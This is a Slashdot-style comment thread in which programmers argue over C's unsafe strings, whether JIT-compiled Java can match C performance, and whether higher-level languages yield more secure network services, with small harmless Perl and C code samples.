      C is prone to memory issues because the standard way it deals with strings is horribly dangerous. Strings shouldn't be represented by a simple pointer to a place in memory. Strings should, at the very least, be structurs with information on length of buffer space and length of the currently stored string. All functions that operate on strings should gracefully handle trying to read or write past the end. Many libraries have already implemented passing a length in with a string when one is passed in but this is not done in a standardized way. We need to get rid of null terminated strings in C.

      And putting on my Perl advocate's hat, I doubt it's easier to invoke C from Java than Perl. I've heard that Perl has the tightest C integration of any modern portable language. Many simple C functions are directly accessible from perl (printf, sprintf, select). Most are available by using one of the standard modules included in the Perl 5 distribution. More advanced things like SSL, Rsync, ImageMagik, and Database communication have wrapper modules that you can download and use that are distribted through CPAN. Just like Java, it's a system dependant library that lets you call the functions. Perl has a utility (also called CPAN) for downloading, building and installing them. I just happen to be in the process of writing a Perl to C wrapper module so my mind jumped right to building your own.

      --
      set softtabstop=4 shiftwidth=4 expandtab nocp worlddomination
    13. Re:Not language as much as library by nosferatu-man · · Score: 1

      this is wrong for many reasons, but perhaps the simplest is: think, the VM is probably written in C... how is it going to be faster than C?

      Uh, maybe because the processor isn't executing C? The VM and the C compiler are both producing machine code. It's perfectly feasible for a smart VM -- say, one with runtime code rewriting -- to run faster than a static C binary.

      'jfb

      --
      To spur "enterprise Linux," Big Bang, the distributed two-phase commit.
    14. Re:Not language as much as library by pyrrho · · Score: 1

      Oh, C is compiled... learn something new every day, don't I?

      uh, maybe because the VM doesn't produce machine code, it executes pseudo code. For each pseudo code instruction there is some amount of code it executes in the VM to actually run the program, code written in a compiled language.

      And you may claim it's feasable and perfectly so to think that recompiling code while it's running can be faster than just running compiled code, but I don't think that's too feasable at all, because really there is just a single program running, the VM, and I do not think a general purpose program such as a VM designed to do anything the language can do, will, in fact, run faster than a program just designed to perform it's specific function.

      If your savior is runtime-calculated optimization, keep in mind there is nothing to stop me from doing the similar runtime optimization in C... if there was, the VM couldn't do it either.

      --

      -pyrrho

    15. Re:Not language as much as library by ajs · · Score: 1

      Ok, so your statements have gone from generic "low level languages are no faster than high level" to a defense of JIT compilers.

      Fair enough, and I can roll with that. Yes, you will get a performance boost by optimizing code for a particular platform on-the-fly.

      How much? Hard to tell, since the difference even between two compilers on the *same* platform can be so very different.

      What is very certain though is that the largest hit in this is the language. I'm actually surprised that you don't realize that. It's not a slam against C++ to say that its more complex type and exception system slows code down. It's just the cost of abstraction. It's not a slam against Java to say that it's platform-indepenance comes with a speed penanly. It's just what you have to deal with in order to get Java's level of abstraction.

      Seriously, if compiler technology were the only barrier to fast code, then the fastest programming language in the world would be LISP, since it pre-dates computers.

      And yet, LISP is slow. Why? Mostly because managing everything as a list isn't what modern processors do best, but also because there's an awful lot that a programmer doesn't have to tell LISP in order to get a program to work.

      Same goes for Java, just less so. Same goes for C++, just less so still.

      C++ is an interesting case. It tries to be a high-level language while maintaining all of the low-level features of C. This has the interesting effect that you can write slower code that is very abstract and quick to write, or you can write very efficient code that requires more manual bit-twiddling (so to speak). The cost comes in the difficulty of maintaining any particular piece of C++, but for some it's worth it.

      I really love the very idea of programming languages. They're all very cool as far as I'm concerned (even humble COBOL had its day and there are a few places that TCL is quite interesting). Don't focus on one language and then set out to prove why it's the best tool for all jobs, because pretty much by definition that's not true. Once you've learned about 10 of them and assembly for a few instruction sets, you really begin to get a sense of how wonderfully complex all of the tradeoffs in programming languages are, just as with spoken languages.

      Good luck and enjoy!

    16. Re:Not language as much as library by ajs · · Score: 1

      Your interpretation of how GCC's various front-ends and back-ends work together, and where optimization happens is a bit skewed. For the most part, if GCC-ADA is poorly optimized, it's no one's fault but the ADA-front end folks. This is because GCC's intermediate represenation (RTL) is essentially treaded as an "assembly" by the front-ends. They compile the code into a syntax tree, optimize where the language allows such optimization, transform that into RTL (at which stage "ADA types" are pretty much gone, and much lower level types have come into play) and then the back-end turns that into assembly and sends it to the assebler.

      That sounded a lot cleaner than it really is. At least one of those transformations (syntax tree to RTL) isn't really performed at all, and there's a lot that the ADA-front end has to know about the target platform that it finds out from the various platform specifications that GCC's back-end uses.

      Still, the back-end is responsible only for os and machine-specific optimizations and so-called "peephole" optimizations.

      As for C being the enemy of proper optimization, I think you're looking a little too hard for a culprit. The real enemy of strong optimization is processor speed. If processors doubled in speed every 20 years, you would see a great deal more effort going into optimization. As it is, the perception is that only obsessives care about those "few extra cycles", which is rather sad. Still a lot of good work is done, and the fact that high-level languages has been flourishing in the last 10 years has really put the screws to the compiler writers to keep up.

    17. Re:Not language as much as library by innosent · · Score: 1

      It is nice to have a big standard library, but you also have to consider what is included and what isn't. What often happens (MIL STD 1812 - The Ada Language) is that you get a HUGE library of functions, yet someone can still come up with a few routines that 50% of your programs will use, but aren't included in the library. Also, you may only use 3 or 4 of the library functions, out of the thousands available in such a language. This wastes space.
      Also, at some point you may need to control not only what your code does, but how it does it. Ever written something for an embedded system or special hardware in Java, Perl, or Python? Didn't think so. C is as popular as it is for two reasons:
      1) Nice syntactic properties, simple language (which is probably why the majority of other languages use a syntax like C, which of course is actually derived from ALGOL).
      and 2) It allows very low level access to the machine, thus letting programmers have something to read which can easily be translated to assembly or object code (I believe all keywords and operators map to a single opcode on most architectures, excluding load/store operations and accumulator machines).

      In other words, if you don't like C/C++, don't do anything that requires control over what happens. Hell, while you're at it, why not just use Visual Basic to write all your apps, after all, we all know the Microsoft libraries are (HEAVY)(SARCASM)flawless.(/SARCASM)(/HEAVY)

      --
      --That's the point of being root, you can do anything you want, even if it's stupid.
    18. Re:Not language as much as library by j3110 · · Score: 1

      See, where I disagree is that any language by any means is slower than another. It just requires a more complex compiler for abstract languages in order to more optimally perform the same task.

      Any turring complete language will work for any task. It may be easier to code something in one language more than another, but this has nothing to do with speed.

      I will agree with you that C is a glorified assembler, and therefore it requires much less of a complex compiler. But if I tell the computer to do a task, there is an optimal method of completing this task. Because I told it to in Java or C or C++ or even COBOL doesn't matter. You can argue that a compiler for Java will be a 2^n algorithm where n is the optimal number of instructions * log base 2 of instruction size, but you can not tell me that it's slower to actually execute.

      Compiler technology for obscure languages like LISP and VM's like Python, Parrot, and Java will get better over time. As they get better, VM's theoretically will be faster than static compiled code if you ship binaries. If you ship source, then C can still benefit from the same knowledge of the target platform, and thus, they will theoretically be the same speed.

      Languages, in their current form, do have their places. It's much easier to say some things in a functional language than a procedural language. In embedded system, since there are no compilers that can optimize timing and space requirements, assembler is still a preffered language. Again, it's only because there is no compiler for these systems that take into consideration their constraints.

      My rebuttal to your arguement is: the most optimal machine code can be generated from any turring complete language. This means the only hinderance to performance is compiler technology.

      There are some places you will never see a VM (where both memory and CPU are a concern... VM's are either compilers or interpreters... one eats memory, the other eats CPU). There can exist static compilers for Java or Python or any other language (Python and Lisp being the most difficult because of their dynamic nature).

      --
      Karma Clown
    19. Re:Not language as much as library by j3110 · · Score: 1

      Actually I have used Java on embedded systems. Take a look at Lejos. It did pretty good considering there was no floating point when I implemented a neural net on a lego brick.

      How could I use Java? because it's a language. Just the same as you can use C or C++ or even basic on embedded systems, you can use Java.

      Phones and PDA's use Java as well. You're arguement is orthagonal to reality.

      C is popular because language biggots don't want to learn another language. They tell each other it's ok to make insecure programs because security is a myth until they actually believe it. As much as the Sendmail people strive for security and are open source, it will take 10x as much work to make it secure as it would take to just redevelop the entire project in a sane language/system like Java, Python, Lisp or Perl.

      --
      Karma Clown
    20. Re:Not language as much as library by ajs · · Score: 1
      Feel free to go write a compiler that can compile any high-level language down to any lower level language (e.g. Python to assembly, Java to C, etc) with even the degree of performance that a moderately good programmer would have gotten out of said lower level language.

      Hint: your next step is a patent, followed by making a metric ton of money followed by retirement.

      Please, go try. I know it's not intuitively obvious. I know it seems wrong. Just go try to do it.

      The really cool part of your compiler is that it will probably count as strong AI, so you'll have solved that problem while you're at it.

      Here's an example in Perl:
      sub sum {
      my $total = 0;
      foreach my $item (@_) {
      $total += $item;
      }
      return $total;
      }
      That's about as simple an example as you could ask for, but now you can begin to see the difficulty. Here's a version in C:
      int
      sum(int *items, size_t len) {
      int total = 0;
      int i;
      if (!items) return 0;
      for(i=0;i<len;i++) {
      total += items[i];
      }
      return total;
      }
      Except that that doesn't do the same thing as the Perl code, it just does what *I intended* for the Perl code to do! The Perl code, for example, could have been called with an array of strings, which Perl would gladly turn into numbers for me. A C programmer never would have built that into a simple sum function, but it was the easiest and most obvious (arguably only) way to do it in Perl. So, now you see that it's not about compiling down to "optimized" code, but compiling down to code that does what you *would have done* in a lower level language. Think on that for a bit, and then come back and tell me that it's easy.

      Better yet just show me the compiler, and I'll see what I can do about getting a million dollars to buy it from you. ;-)
    21. Re:Not language as much as library by j3110 · · Score: 1

      I don't remember claiming it was trivial, just it doesn't require any AI.

      You're example is flawed in assuming that you don't know how it is going to be called. In fact, the compiler will know everywhere and everyhow it is called, or it's going to be a library (which could just be left in source format).

      Lets say you call sum with
      @a=(2,"3",85,"4"+6);
      $b=sum(a);

      If you are dumb enough to do this, you deserve the computer taking longer because you have to convert the strings to numbers.

      The same goes for dynamically generated strings.

      You would likely end up with

      int a[]={2,3,85,10};
      int b;
      b=sum(a);

      just like you would expect.
      If you do something like
      $c=;
      a.push($c);
      b=sum(a);

      since you have determined the type of the data in $a because it's called on a function that adds it's value to an int, you know a is an int array, so you would get something like:

      (you would have a helper function that gets inlined in the code for a lot of things)
      c=perl_style_read(STDIN);
      a=perl_append( a,c);
      a_size++;
      b=sum(a,a_size);

      perl_append: you can profile the code to see if LinkedLists, Arrays, DynamicArrays, Trees, etc are faster. This isn't magic, just complicated software (no AI involved).

      Basically, it's only going to be slow if you use it like a maniac and assume that "4" + 5 is as fast as 4 + 5.

      If you actually have to implement something as featurefull in C to recquire strings and ints to be converted by a function, then you'll end up with something just as slow.

      Imagine you want to just grab numbers off the beginning of the line in that manner, then you print back out the full line, with a Total line. Doing that in C will take the same ammount of effort as Perl, only it would be easier to write in Perl.

      At least you didn't choose Python or Lisp (yet harder) as examples (because they require the compiler to be accessible in order to work because they can rewrite themselves. This is where you have to use a VM to compile on demand, and keep that around so you won't have to compile it again.)

      However, with VM's like Parrot, I think you'll see Perl storing it's machine level code (from JIT) so that it will pretty much be statically compiled by the end of the cycle.

      You can bet there will be JIT-C showing up in more languages too. If you can write an interpretter for something, you can write JIT-C.

      From looking at your example, I doubt you understand the power and knowledge that a compiler can get from "$total=0;" and return "$total;".

      You can pretty much get the types for every variable there in that scenario. In fact, I think it's impossible for you to give an example of where the computer doesn't know the type desired by the user (the interpretter works just fine at guessing, so why can't a compiler?).

      You would have to set the type of a variable at runtime, and then choose on strange circumstances which function to call. In this case, I doubt you will find a way to do this in less time than a compiler could as well.

      Basically, I think what you are getting at is that a compiler will only work as good as the language. I'm just trying to say that the compiler will work as good as the code. Compiler technology will advance.

      I like how you avoid the topic of Java because Java does have static compilers already. The only situation I think you'll come up with where performance may be an issue is in weakly typed languages where the programmer doesn't comprehend the performance issues. Although, you may find that an optimized compiler could try keeping several arrays around (one as strings, the other as ints) if it improved performance... that's likely what a C programmer would do if they needed both types of data and size wasn't a concern (-O3 optimizations that may result in larger programs that are faster).

      I bet I could write some C code in obfiscated ways that the C compiler won't compile to efficient code either. If you write well behaved code in Perl, a compiler can get a lot of performance out of the code.

      --
      Karma Clown
    22. Re:Not language as much as library by ajs · · Score: 1
      I hear what you're saying. TRUST ME, I'VE BEEN THERE. IT SOUNDS STUPID. IT'S ALSO TRUE.

      I would have said all the same things you're saying. The fact of the matter is that you actually cannot (reasonably) evaluate all possible paths of code execution. You can take a good running start at it, and you can come up with some very good estimations, but ultimately you have to trade time for generated code quality if you want to compile code in a reasonable period of time (FSVO reasonable). You'll find yourself pruning code-execution trees with extreme prejudice, and that's just the way that it goes.

      Compiler writing is, perhaps the only area of CS left where absolutely everyone who does it gets exposed immediately to the rich complexity of CS. It's just the coolest thing ever, but at the same time one of the most frustratingly non-intuitive. Just getting your brain around LALR is pretty hard, and that's the easy stuff!

      I wasn't kidding when I said, go write it. If you do manage to write a Java compiler which can compile down (even very close) to the equivalent C code, I will personally sing your praises. Java's a bad example actually, because it's so close to C. You will spend a fair while getting past the bits that are the same, and then you'll start to hit the places (like string handling and the OO model) where casual Java code and casual C code (e.g. not over-hand-optimized) will have radically different performance. That's the trade-off of convinience.

      DO NOT TAKE MY WORD FOR THIS. TRY TO WRITE IT YOURSELF.

      On to your specifics:

      You say that you can see how a function will be called. Ok, so you start looking and you see someone calling sum in this perfectly reasonable, non-pathalogical way:
      sub expenses {
      return sum(vendor_costs(@_), license_fees(@_));
      }
      Hmm, ok so sum might take some simple parameters that will never have to be converted to numbers from strings. All you have to do is look at vendor_costs and license_fees and see what they can return. Sadly, they have a number of dependencies as well, and those dependancies can affect the types being moved around.

      Now, here's the part that you miss in thinking about this as a simple problem: you're doing all of this chasing around of types just to figure out if you need to convert incoming parameters of one function from strings to numbers! What do you do when you're dealing with that problem repeated over and over for every line of input code and you don't just care about types, but what sort (if any) exception handling to apply, etc, etc. You're going to have to build a data-flow model internally (ah, graph theory!) and then you have to think very hard about what you are willing to chase down and what's too much work.

      This doesn't sound right, of course, because there's only so much code for even the largest project, and in most cases, it's easy to fit it all in memory. It seems like you should be trivial to "understand" it. The problem is that it's not. Even a compiler that can translate it into another form or an interpreter or hardwre that can execute it doesn't "understand" it, because understanding it is hard (I mean that mathematically).

      Good luck, and I hope you come up with the better Java compiler. I really do!
    23. Re:Not language as much as library by j3110 · · Score: 1

      Why do you argue the futility that this is for you. The point is JIT-C exists already for Java. This compiles the code all the way down to machine code. Those optimizations you are saying are impossible are taking place in real time. They are looking at types and finding the appropriate function to call, and converting that function to machine code then injecting it into a running thread. The only problem at this point is that it has not matured enough. If you are saying JIT-C is the best it will ever be, you are dead wrong. At this very moment, common optimizations like ""+1 don't optimize to String.valueOf(1). Instead it creates a StringBuffer, adds the two as strings, then destroys the string buffer. Java is reaching the speed of C without taking these obvious optimizations. The memory consumption of Java isn't required by the task that it performs either The heap size doesn't need to be so large. The machine compiled code that the VM comes up with is discarded as soon as the VM is closed. It isn't even saved to the disk, yet Java seems to be doing a pretty good job.

      How are you even trying to argue that I won't be able to see how and when a function is called?

      If license_fees(@_) used @_ as strings, you could optimize for this situation like I said last time, keep an array of strings around too. If you have a function that must use the data as a string, you're going to have to do the same thing in C.

      The more obfiscated you try to make this program, the more you are just argueing that the problem is obfiscated and you would have to do the same thing in C. The difference is, in a high level language, you may be able to figure out how best to store the data that the user gives you by profiling using a VM. Maybe one run I'll use a linked list for parameter passing, then foreach will be expanded to iterate the linked list. You can't tell me that a function may get called in any method that the computer can't know about it before hand.

      The only thing you can argue your point on is dynamically generated code. The kind where a perl script writes another script or Lisp executes an array that it just built given user input. Languages like Perl and Java will get much faster as compiler technology (JITC) for those languages advance. I can see how a language like Lisp may be difficult considering it is considered OK to write a program that writes a program. If you wrote a C program to write a C program, I think you would be upset by the performance as well. These kinds of languages should be avoided for problems that don't warrent their use.

      I can't believe I'm even argueing that compilers make more of a difference than language choice on speed anyhow. Just compare the different C compilers out there. The older compilers were horrendously slow compared to the new ones.

      I don't have the resources of SUN or IBM or BEA at my disposal to develop anything as good as what they already have. I never argued that it was easy, only possible. If it were trivial, Java would already be faster than C. There are a lot of other things that people are more concerned about than speed (like security) to work on. It would be great if everyone had the resources to perfect every peice of software they work on, but they don't. They work on what they feel is more important. That's why security follows features in the C/C++ world. That's why I recommend people write software in HLLs whenever they can. Security is a must.

      --
      Karma Clown
    24. Re:Not language as much as library by ajs · · Score: 1
      Why do you argue the futility that this is for you.

      I do no such thing, thank you very much!

      However, I take your point, and I'll stop. Thanks for having the discussion with me, and I hope that as you learn more about programming languages, you do in fact develop a compiler that can do what you say is possible.

      If you're interested in learning more about this topic, I suggest that you look up regular expressions. Once you really understand REs and FAs in general, you will begin to see where the assertion that you can optimally (or even remotely near-optimally) translate a symbol set with high abstraction into a symbol set with low abstraction is without any sort of logical merit unless the symbol-set you are using is an FA.

      Here are some books you might want to peruse while you're at it:
      Hopcroft, J.E. & Ullman, J.D. (1979). Introduction to Automata Theory, Languages and Computation. Addison-Wesley.
      Hopcroft, J.E. & Ullman, J.D. (1974). The Design and Analysis of Computer Algorithms. Addison-Wesley.
      Conway, J.H. (1971). Regular Algebra and Finite Machines. Chapman and Hall.
      Sudkamp, T.A. (1988). Languages and Machines. Addison-Wesley.
      Once you've got those under your belt, of course, you'll want to move on to the theory behind parsing, symbol-translation and optimization. Again, good luck and I hope that one day you prove me wrong. It would truly be a wonderful day for computer science!
    25. Re:Not language as much as library by j3110 · · Score: 1

      hehe... ok :)

      I do a lot of parsing (recursive decent parsers usually) and have written compilers for stupid little languages. At this very moment, I'm writting a custom query language that takes a more generic query language that is easier to use and more robust and converting it into plain old SQL. It's not incredibly hard, and it has to be strongly typed (because you don't want people to compare integers to dates).

      I'm not going to be the one to prove you wrong though. It will be a great day for computer science. I think IBM is more onto that trail than anyone at the moment. Although Intels generic language thing (I don't know what they call it... it made slashdot) shows some promise too. Basically,

      I think you should take a step back and look at what C compilers do today. They preform miracles routinely on code. Back in the old days, if you told someone that C was faster than Assembler, you wouldn't find a job.

      You can never overestimate what computers will do in a decade.

      I've taken a look at a couple of those books at college. The books that I have seen didn't even cover the optimizations that C compilers do (other than trivial reordering).

      Maybe if I get some time someday, I'll help out Kaffe, Parrot, or Python (at least experiment).

      Thanks for the recommendations though.

      --
      Karma Clown
  93. More importantly: Train the programmers! by dwheeler · · Score: 1
    It's certainly true that inappropriate tools sometimes contribute to security problems. But the more serious issue is that too many programmers don't know how to write secure code.

    This problem is so serious that I give away a book explaining how to write secure programs in Linux and Unix. See my Secure Programming for Linux and Unix HOWTO.

    It's certainly true that avoiding C/C++ eliminates some buffer overflow attacks, but note that there are things to watch out for in every language. I agree that there's an overuse of C/C++ in cases where they don't make sense, but switching to another language while failing to get the programmers trained won't solve the problem.

    --
    - David A. Wheeler (see my Secure Programming HOWTO)
  94. Re:This just in! by smallpaul · · Score: 1

    There are tons of popular C++ libraries that don't use the STL...to say nothing of all of the C libraries that you must call into. Plus, I don't think that STL has decent unicode support. Wstring is not enough. Unicode has a bunch of semantics that are built-into the string classes of languages like Python and Java.

  95. Do all programmers really believe this ? by GodEater · · Score: 1

    Do all those of us that program really believe that what we turn out is great? I certainly don't - I think I have enough humility to realise that there's ALWAYS room for improvement with stuff I've written, and I take no offense when such improvements are pointed out to me. Do others feel differently?

    --

    Gentlemen, start your penguins

  96. VM/JIT/Interpreter faster than native code??? by WARM3CH · · Score: 1

    Well, what to say? Have not seen such meaningless statement over the years....

    1. Re:VM/JIT/Interpreter faster than native code??? by macpeep · · Score: 1

      There's actually a good reason why that is true in many situations. The reason is that a JIT / interpreter can dynamically analyze and optimize the code. Think about it. A JIT is a compiler - just like a C/C++ compiler. But it compiles from (for example) Java bytecode to native code rather than from C/C++ source code to native code. Now, if it does the compilation before or while the program runs, like the Sun Hotspot Java VM does, then it can actually profile the compiled code and see where the "hot spots" are. That is, it can analyze which parts would benefit the most from optimization, and then optimize those parts much more than a normal C/C++ compiler would do, and with much more knowledge than a C/C++ can ever have.

      That's why, if you make something like a simple app that searches for prime numbers or similar, you can actually see higher performance from a Java app running in a good JVM than from a native C/C++ app.

      Also keep in mind that many things that are done in high level languages like Java are actually done with native code. For example the graphics toolkit in Java is now hardware accelerated on Windows. So when you blit an Image to another, that's being done in hardware. This means that many things are "just as fast" in Java as in C/C++, because the part of the app that actually uses any considerable CPU cycles is exactly the same in Java as in a native application.

      The biggest area where Java still loses is startup time and memory consumption. It's not the fault of the VM if the applications programmed in the language suck. I mean, yeah, most Java apps are dog slow. But when you look at their source code, it's often a horrible mess with people doing non-buffered IO, creating millions of temporary objects every second that cause major garbage collection overheads, etc. It has given the VM a much worse reputation than is warranted.

    2. Re:VM/JIT/Interpreter faster than native code??? by Stuntmonkey · · Score: 1

      Well, what to say? Have not seen such meaningless statement over the years....

      It is in fact true that "runtime-compiled" languages like Java, etc. could in principle be faster than "pre-compiled" languages like C. The reason is that a compiler can do a better job optimizing the code as it gets more information, and there are some pieces of information that just aren't available prior to runtime.

      The classic example is branch prediction: You can optimize the code better if you have some idea of the likelihood of each branch. In a "pre-compiled" language like C, this assessment is difficult because you don't know in advance the values of the variables in your branch test. In a "runtime-compiled" system (e.g., Hotspot), the compiler can observe the actual branching behavior during execution, and then optimize based on this much-improved information.

      And we can't just blame the people who write C compilers for this situation: One of the more fundamental theorems of computer science is that no algorithm, no matter how complex, can examine a generic piece of code and accurately "guess" the values of runtime variables, without just simulating the code's execution.

      What I don't know is how large this potential advantage could be, for "typical" algorithms. One interesting avenue that I haven't seen explored would be to develop a C compiler that is informed by the output of some kind of profiling tool; the profiler would glean runtime information by observing the code's execution under typical use for some period of time, and would then dump this info to the compiler for an additional round of optimization.

    3. Re:VM/JIT/Interpreter faster than native code??? by Anonymous+Brave+Guy · · Score: 1
      It's not the fault of the VM if the applications programmed in the language suck. [...] it's often a horrible mess with people doing non-buffered IO, creating millions of temporary objects every second [...] It has given the VM a much worse reputation than is warranted.

      Kinda like the reputation C++ has for buffer overruns and poor memory management, because so many C++ programmers never bothered to learn about the tools it provides to fix them, you mean? :-)

      --
      If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
    4. Re:VM/JIT/Interpreter faster than native code??? by macpeep · · Score: 1

      "Kinda like the reputation C++ has for buffer overruns and poor memory management, because so many C++ programmers never bothered to learn about the tools it provides to fix them, you mean? :-)"

      Yes, exactly like that. I have nothing against C/C++. I code C++ for a living. I code Java and a number of other languages on my free time. There are good and bad sides with both.

      Usually when you see people religiously defending or advocating one language, it's because that's all they know how to use properly.

    5. Re:VM/JIT/Interpreter faster than native code??? by Anonymous+Brave+Guy · · Score: 1

      Sorry, your comment is far too rational and reasonable to be posted on Slashdot. Please withdraw it and dock yourself 20 karma points at once. :-)

      --
      If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
    6. Re:VM/JIT/Interpreter faster than native code??? by Jordy · · Score: 1

      There's actually a good reason why that is true in many situations. The reason is that a JIT / interpreter can dynamically analyze and optimize the code. Think about it. A JIT is a compiler - just like a C/C++ compiler. But it compiles from (for example) Java bytecode to native code rather than from C/C++ source code to native code. Now, if it does the compilation before or while the program runs, like the Sun Hotspot Java VM does, then it can actually profile the compiled code and see where the "hot spots" are. That is, it can analyze which parts would benefit the most from optimization, and then optimize those parts much more than a normal C/C++ compiler would do, and with much more knowledge than a C/C++ can ever have.

      Just a couple notes.

      First, profiling compilers exist for C++. Intel's compiler is one of them. While it can only handle the general case, it is more than enough to optimize branch points, comparisons and what not.

      Second, if Intel has its way with EPIC, branch prediction won't matter (EPIC just executes both branches at once) making the most important JIT optimization a moot point. EPIC also requires the compiler to handle a lot more of the optimization making it much harder to build JIT compilers.

      Also keep in mind that many things that are done in high level languages like Java are actually done with native code. For example the graphics toolkit in Java is now hardware accelerated on Windows. So when you blit an Image to another, that's being done in hardware. This means that many things are "just as fast" in Java as in C/C++, because the part of the app that actually uses any considerable CPU cycles is exactly the same in Java as in a native application.

      Except the overhead of the exception handling code, garbage collector, bound checking, abstracted memory, relatively huge number of objects (even compared to C++) and excessively long call depths in the standard library does in fact make it noticably slower than the C++ equivilent for any application does real work and GUI at the same time.

      Look, languages for the most part don't matter. In time CPUs will get so stupidly fast that the cost trade off related to development and maintenance time won't make any sense for the bulk of the applications. A lot of business applications fall into this world right now which is why Java is so popular.

      But to claim a language which has huge amounts of overhead related to bounds checking, garbage collection, exception handling etc. is just as fast a language without it is silly.

      --
      The world is neither black nor white nor good nor evil, only many shades of CowboyNeal.
    7. Re:VM/JIT/Interpreter faster than native code??? by j3110 · · Score: 1

      If your suggesting that it requires just as much work to program in Java as C++, then I'ld just like to say I would rather have a half-done Java application than a half-done C++ application. If you don't take your time to optimize Java, it's just slow and ugly. If you don't take the time to properly develop C++ applications, then you have horrible security issues. I don't think you'll find many people that would even run a known buggy program. If someone wrote BIND and Sendmail in Java, I would be using it! (Insert any buggy package in the place of BIND and Sendmail.) I'ld rather my users had to wait than have downtime from rebuilding servers that were cracked and make everyone change their passwords on every system that they have. (Crackers install trojan ssh packages that store passwords often.)

      I'm just saying I know which problems I'm able to sleep with at night. If a user calls me and tells me a system is slow, I'ld rather buy a second system than install a known security risk.

      (I don't know how you meant your post since it's only one line... so I thought I would just clarify my position.)

      --
      Karma Clown
    8. Re:VM/JIT/Interpreter faster than native code??? by j3110 · · Score: 1

      Great arguements, and I agree completely.

      I was only making the arguement that speed of Java or Python is less than C only because of a lack of a good JIT compiler. C originally wasn't very fast either compared to assembly. About 5-10 years ago, it was ranked as being 2x slower than straight assembler. C has had a LONG time for people to write optimized compiler technology for. Java still hasn't had the ammount of time it will take for it to over-run C like C has assembler. I don't predict it occuring anytime soon. It's just theoretically possible. (Except floating point math because SUN wants this to be IEEE compliant. It's really the CPU makers fault that IEEE floating point is so slow, and thus is slow in Java.)

      And from your post, linking this back on topic, do you really think that the speed trade-off that you get with current VM technology is worth the security (or time) trade-offs you make with lower level languages? Or do you have another means of ensuring that, as an administrator, your systems won't be comprimised and your data stolen? It scares me sometimes how little effort is put into making a system secure.

      --
      Karma Clown
    9. Re:VM/JIT/Interpreter faster than native code??? by Anonymous+Brave+Guy · · Score: 1
      If your suggesting that it requires just as much work to program in Java as C++ [...]

      I wasn't as such, but since you mention it, I think it requires more work for a typical programmer to get many things done in C++, but more work for a very good programmer to get many things done in Java. C++ is a more powerful tool but needs much skill to use; Java is simple(r) but effective.

      I don't think you'll find many people that would even run a known buggy program. If someone wrote BIND and Sendmail in Java, I would be using it! (Insert any buggy package in the place of BIND and Sendmail.)

      That was an unfortunate sequence of sentences. :-)

      I think you'll probably find, on close inspection, that every single computer user in the world runs known buggy software. The issue isn't black and white. It's a matter of how bad the bugs are, and how much of a liability that makes using the software, compared to whatever benefits it may offer.

      (I don't know how you meant your post since it's only one line... so I thought I would just clarify my position.)

      My original point was simply that you can judge a language by what it does in typical hands, or what it does in skilled hands. Most of the accusations levelled against many popular programming languages ("C++ is insecure!", "Java is slow!", "Perl is incomprehensible!") are untrue if the language is programmed by someone who has a good level of skill with it.

      They don't even have to be a true expert, top 1% user, but they probably have to have made the effort to reach the standard of, say, the top 25% of programmers today. Alas, the majority of programmers don't make that effort, and then it just reflects badly in some way on whatever language they use.

      The interesting question, and one which is often overlooked, then becomes whether it's best to judge a language by how it can be used, or by how it will be used. The answer, obvious to me, is that you should just a language by how it will be used by the particular programmers who will be using it. That gives different answers, depending on who the developers are, but such is life in the real world, and hence my comment at the top of this post.

      --
      If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
    10. Re:VM/JIT/Interpreter faster than native code??? by j3110 · · Score: 1

      Even if I was paid minimum wage to keep on top of these things, I could have a cluster of computers to handle the tasks that they serve for the same price. Nothing I do short of rewritting every service in another language will ever make my machines secure.

      The "will be used" vs "can be used" arguement is somehow diminshed to me by the fact that it "is being used" in a poor manor in most cases. Security focus pointing this out is the root of the entire arguement. My root arguement was to show how Java can be fast, but is secure. If you argue that C/C++ should be used for services, you are argueing that services should be faster, and not neccisarily secure.

      Only a language biggot would even bother argueing for C/C++ in these situations. There is no justification for the lack of security implementations in C/C++. There have been remote root exploits found in every popular package that ships with a computer. If you are trying to tell me that there are 25% of the developers that can write secure code in C/C++, I'm calling it BS. Perhaps Qmail is secure, but that's about 1 package in a thousand that opens a listening socket, which is .1%.

      If you can quote some other software that is popular and hasn't been on security focus and is written in C/C++ and opens a socket, you let me know, and I'll start using it tomorrow. You'll be hard pressed to find anyone writting secure C programs. Harder pressed than I would be to find fast Java.

      --
      Karma Clown
    11. Re:VM/JIT/Interpreter faster than native code??? by Anonymous+Brave+Guy · · Score: 1
      The "will be used" vs "can be used" arguement is somehow diminshed to me by the fact that it "is being used" in a poor manor in most cases.

      How can you possibly know that? What is your sample?

      I've worked in a variety of places using C++ to develop application code (as opposed to systems software, etc). The place I'm currently at writes mathematical components that are used by many of the leading products in our industry worldwide. It's mostly written in C++, because performance counts amongst other reasons. We don't have memory leaks and crashes all over our code, because we have smart people writing it, and we use smart automated testing tools to check for such things just in case.

      Admittedly, my 25% is also just a figure based on personal experience, but I stand by it.

      If you argue that C/C++ should be used for services, you are argueing that services should be faster, and not neccisarily secure.

      #include <standard_no_such_language_argument.h>

      That said, yes, many services do require such a level of performance, and no, Java-based versions often do not provide it. There is no point shipping me a 100% secure product if it doesn't do its job.

      Only a language biggot would even bother argueing for C/C++ in these situations. There is no justification for the lack of security implementations in C/C++. There have been remote root exploits found in every popular package that ships with a computer.

      Language bigot? Hardly. If you read my previous few hundred comments here, you'd note that I do often defend C++ against unjustified or ill-informed criticism, but I'm equally happy to have a go about its weaknesses. I've posted both for and against aspects of it in this very thread. I've also advocated diverse other languages here on many occasions, for different purposes. They're just tools, not divine gifts, FFS.

      Security implementations? There is every excuse: C and C++ are based on being low-level, high-performance first and foremost, and then building on top of that framework. You can build whatever you like there, including secure systems, particularly in C++. You can take a powerful, low-level base and make it safe, but you can't take a Fort Knox-like, high-level system and make it powerful.

      And remote root exploits in every popular package? What kind of popular packages? Under what OS? With what other security arrangements? That's a pretty meaningless blanket statement.

      If you can quote some other software that is popular and hasn't been on security focus and is written in C/C++ and opens a socket, you let me know, and I'll start using it tomorrow.

      Sure, just as soon as you start quoting me equivalents to all that C and C++ software that exist at all in a "secure" language so we can have an objective comparison of vulnerability counts.

      BTW, who told you writing something in Java necessarily made it secure?

      --
      If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
    12. Re:VM/JIT/Interpreter faster than native code??? by j3110 · · Score: 1

